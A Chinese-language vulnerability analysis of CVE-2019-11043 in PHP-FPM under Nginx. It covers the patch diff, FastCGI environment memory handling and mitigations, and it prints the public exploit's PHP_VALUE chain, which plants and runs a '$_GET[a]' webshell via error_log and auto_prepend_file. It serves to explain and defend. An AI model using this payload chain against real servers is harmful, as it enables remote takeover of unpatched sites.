干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
近期，国外安全研究员Andrew Danau，在参加夺旗赛（CTF: Capture the
Flag）期间，偶然发现php-fpm组件处理特定请求时存在缺陷：在特定Nginx配置下，特定构造的请求会造成php-fpm处理异常，进而导致远程执行任意代码。当前，作者已经在github上公布了相关漏洞信息及自动化利用程序。鉴于Nginx+PHP组合在Web应用开发领域拥有极高的市场占有率，该漏洞影响范围较为广泛。
漏洞概述
PHP-FPM在Nginx特定配置下存在任意代码执行漏洞。具体为：
使用Nginx + PHP-FPM搭建的服务器在使用类似如下配置的nginx.conf时：
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
Nginx中fastcgi_split_path_info 在处理存在"\n"(%oA) 的path_info时，会将传递给PHP-FPM的PATH_INFO置为空（PATH_INFO="")，影响关键指针的指向，导致后续path_info[0]=0的置零操作位置可控，通过构造特定长度和内容的请求，可以覆盖写特定位置数据，插入特定环境变量，进而导致代码执行。
漏洞分析
首先，分析其补丁：在进行request_info结构体初始化的static void init_request_info(void)函数中，增添对pilen 和slen的大小校验，规避了指针的非预期回溯移动。
// php-src/sapi/fpm/fpm/fpm_main.c
...
if (pt) {
while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
// 对传入PATH_INFO 进行校验。通过判断文件状态，获取真实PATH_INFO
*ptr = 0;
f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH
int slen = len - ptlen; //script length
int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info 长度 0
int tflag = 0;
char *path_info;
if (apache_was_here) {
/* recall that PATH_INFO won't exist */
path_info = script_path_translated + ptlen;
tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
} else {
- path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 通过偏移设置新env_path_info，但是未对偏移量做校验
- tflag = (orig_path_info != path_info);
+ path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
+ tflag = path_info && (orig_path_info != path_info);
}
if (tflag) {
if (orig_path_info) {
char old;
FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
old = path_info[0];
path_info[0] = 0; //置零操作
if (!orig_script_name ||
strcmp(orig_script_name, env_path_info) != 0) {
if (orig_script_name) {
FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//触发入口
}
SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
} else {
SG(request_info).request_uri = orig_script_name;
}
path_info[0] = old;
}
...
其中
//以http://localhost/info.php/test?a=b为例
PATH_INFO=/test
PATH_TRANSLATED=/docroot/info.php/test
SCRIPT_NAME=/info.php
REQUEST_URI=/info.php/test?a=b
SCRIPT_FILENAME=/docroot/info.php
QUERY_STRING=a=b
pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test"
len = script_path_translated_len // 为"/docroot/info.php/test"
// 经过重新计算处理后
int ptlen = strlen(pt); // strlen("/docroot/info.php")
int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test"
int slen = len - ptlen; // len("/test")
path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移为0 或 -N
可见，当PATH_INFO为空时，path_info 指向发生向前偏移，偏移长度为test的长度。进而path_info[0] = 0;可以将特定位置 单字节置零。但是，普通位置的置零并不会造成RCE，进一步利用需要将特定控制位置零，且该控制位恰巧能控制写入位置。request->env->data->pos便是这样一处位置。这里需要说明一下各变量的存储方式。
通过fastcgi协议传入的各环境变量会存储到_fcgi_request->env 这个fcgi_hash结构体中，供后续执行取用，结构具体定义如下：
// php-src/sapi/fpm/fpm/fastcgi.c
typedef struct _fcgi_hash_bucket {
unsigned int hash_value;
unsigned int var_len;
char *var;
unsigned int val_len;
char *val;
struct _fcgi_hash_bucket *next;
struct _fcgi_hash_bucket *list_next;
} fcgi_hash_bucket;
typedef struct _fcgi_hash_buckets {
unsigned int idx;
struct _fcgi_hash_buckets *next;
struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];
} fcgi_hash_buckets;
typedef struct _fcgi_data_seg {
char *pos;
char *end;
struct _fcgi_data_seg *next;
char data[1];
} fcgi_data_seg;
typedef struct _fcgi_hash {
fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
fcgi_hash_bucket *list;
fcgi_hash_buckets *buckets;
fcgi_data_seg *data;
} fcgi_hash;
...
/* hash table */
//初始化操作
static void fcgi_hash_init(fcgi_hash *h)
{
memset(h->hash_table, 0, sizeof(h->hash_table));
h->list = NULL;
h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
h->buckets->idx = 0;
h->buckets->next = NULL;
h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 默认分配 (4*8 - 1) + 4096
h->data->pos = h->data->data; //指向环境变量初始写入位置
h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾
h->data->next = NULL;
}
...
其中我们主要关注其中的get/set操作，实现如下：
static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
// 关联 FCGI_GETENV()
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
fcgi_hash_bucket *p = h->hash_table[idx];
while (p != NULL) {
//需要hast_value值相同，var_len相同才能取出值
if (p->hash_value == hash_value &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
*val_len = p->val_len;
return p->val;
}
p = p->next;
}
return NULL;
}
static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
// 关联 FCGI_PUTENV()
{
unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 计算hash_value确定 index
fcgi_hash_bucket *p = h->hash_table[idx]; //获取原有hash_table中的对应值
while (UNEXPECTED(p != NULL)) {
if (UNEXPECTED(p->hash_value == hash_value) &&
p->var_len == var_len &&
memcmp(p->var, var, var_len) == 0) {
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p->val;
}
p = p->next;
}
if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
b->idx = 0;
b->next = h->buckets;
h->buckets = b;
}
p = h->buckets->data + h->buckets->idx;
h->buckets->idx++;
p->next = h->hash_table[idx];
h->hash_table[idx] = p;
p->list_next = h->list;
h->list = p;
p->hash_value = hash_value;
p->var_len = var_len;
p->var = fcgi_hash_strndup(h, var, var_len);
p->val_len = val_len;
p->val = fcgi_hash_strndup(h, val, val_len);
return p->val;
}
static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
// 实际操作request->env->data,进行数据写入。
{
char *ret;
if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
//如果准备写入的数据长度大于当前指向的fcgi_hash_seg大小，则向前插入新的fcgi_hash_seg
unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//较长值，不跨越两个seg进行写入。
fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
p->pos = p->data;
p->end = p->pos + seg_size;
p->next = h->data;
h->data = p;
}
ret = h->data->pos;
memcpy(ret, str, str_len); //于h->data->pos后写入数据
ret[str_len] = 0;
h->data->pos += str_len + 1; //后移h->data->pos到新的可写入位置
return ret;
}
由此，我们可以得出：request->env->data->pos的指向直接影响我们环境变量Key，Value的写入位置，只要我们控制了char* pos的指向，就可能覆盖已有的数据。但是，要想达成RCE还存在以下要求及限制：
-
指针前移受当前fcgi_hash_seg空间结构影响，过短无法将char*
pos置零，过长会分配到新fcgi_hash_seg空间。(如传递"形如"http://127.0.0.1/Somefile_exits/AAAAA.php/"也可造成指针后移，) -
path_info[0] = 0 仅能将单字节置零，最好为最低位，否则会造成指针位置偏离过多。
-
鉴于条件 2 被覆盖写的地址最低位应为0，且其后为符合条件的可覆盖的环境变量。
-
被覆盖位置环境变量的key必须与预期写入的key满足：var、hash_value和var_len均相同，才可能被读取。
-
执行FCGI_PUTENV(request, "ORIG_PATH_INFO",
orig_path_info);时，分别写入ORIG_SCRIPT_NAME、orig_script_name（"ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA"）。
相应地，我们可以：
- 通过控制query_string的长度，使path_info恰好处于新fcgi_hash_seg的data首位，这时我们仅需移动8+8+8+len("PATH_INFO\0")+N= 34 + N即可完成对char* pos的篡改。满足条件1，2的要求。
- 通过自定义http header，操纵request header的长度将预期覆盖的环境变量放置到特定的位置（0x____00+len("ORIG_SCRIPT_NAME")+len("/index.php/")）。满足条件3，5要求。（在NGINX中，HTTP中的请求头会以"HTTP_XXX"的形式传入PHP-FPM，随后写入到request-env中）
- Exp作者提供了EBUT这个自定义头，其env变量名HTTP_EBUT与PHP_VALUE在长度和hash_value方面相等，且PHP_VALUE会在后续处理中被尝试读取(ini =
FCGI_GETENV(request, "PHP_VALUE")😉。满足条件4的要求。
除此之外，鉴于PATH_INFO重新取值部分逻辑主要是处理PATH_INFO与真实path_info不同的情况，对开头提及的nginx配置项，存在一种情况，发起形如http://localhost/index/info.php/test?a=b的url，可以构造以下场景
//以http://localhost/index/info.php/test?a=b为例，index为存在的文件
PATH_INFO=/test
PATH_TRANSLATED=/docroot/index/info.php/test
SCRIPT_NAME=/index/info.php
REQUEST_URI=/index/info.php/test?a=b
SCRIPT_FILENAME=/docroot/index/info.php
QUERY_STRING=a=b
pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test"
len = script_path_translated_len // 为"/docroot/index/info.php/test"
// 经过重新计算处理后
int ptlen = strlen(pt); // strlen("/docroot/index")
int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test"
int slen = len - ptlen; // len("/info.php/test ")
path_info = env_path_info + pilen - slen; // pilen < slen， 即偏移为-N
此时URL中无需存在%0A，亦可完成指针移位，漏洞过程与上述类似，但是因为script_name无效，无法直观显示攻击状态，利用难度较高，不再赘述。
path_info指向了request->env->data->pos后的内存布局
漏洞利用
Exp作者利用PHP_VALUE向PHP传递多个环境变量，使PHP产生错误，以错误日志的形式将webshell输出到/tmp/a，并通过auto_prepend_file自动执行/tmp/a中的恶意代码，达成getshell。
var chain = []string{
"short_open_tag=1", //开启php短标签
"html_errors=0", // 在错误信息中关闭HTML标签。
"include_path=/tmp", //包含路径
"auto_prepend_file=a", //指定脚本执行前自动包含的文件，功能类似require()。
"log_errors=1", //使能错误日志
"error_reporting=2", //指定错误级别
"error_log=/tmp/a", //错误日志记录文件
"extension_dir=\"<?=\`\"", //指定extension的加载目录
"extension=\"$_GET[a]\`?>\"", //指定加载的extension
}
影响范围
在文初提到的配置下，该漏洞影响以下版本的PHP：
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11
漏洞修复
可以通过 Nginx 增添配置try_files %uri = 404php设置cgi.fix_pathinfo=0选项，临时规避漏洞影响。也可以选择使用官方已经释出的更新进行完全修复。
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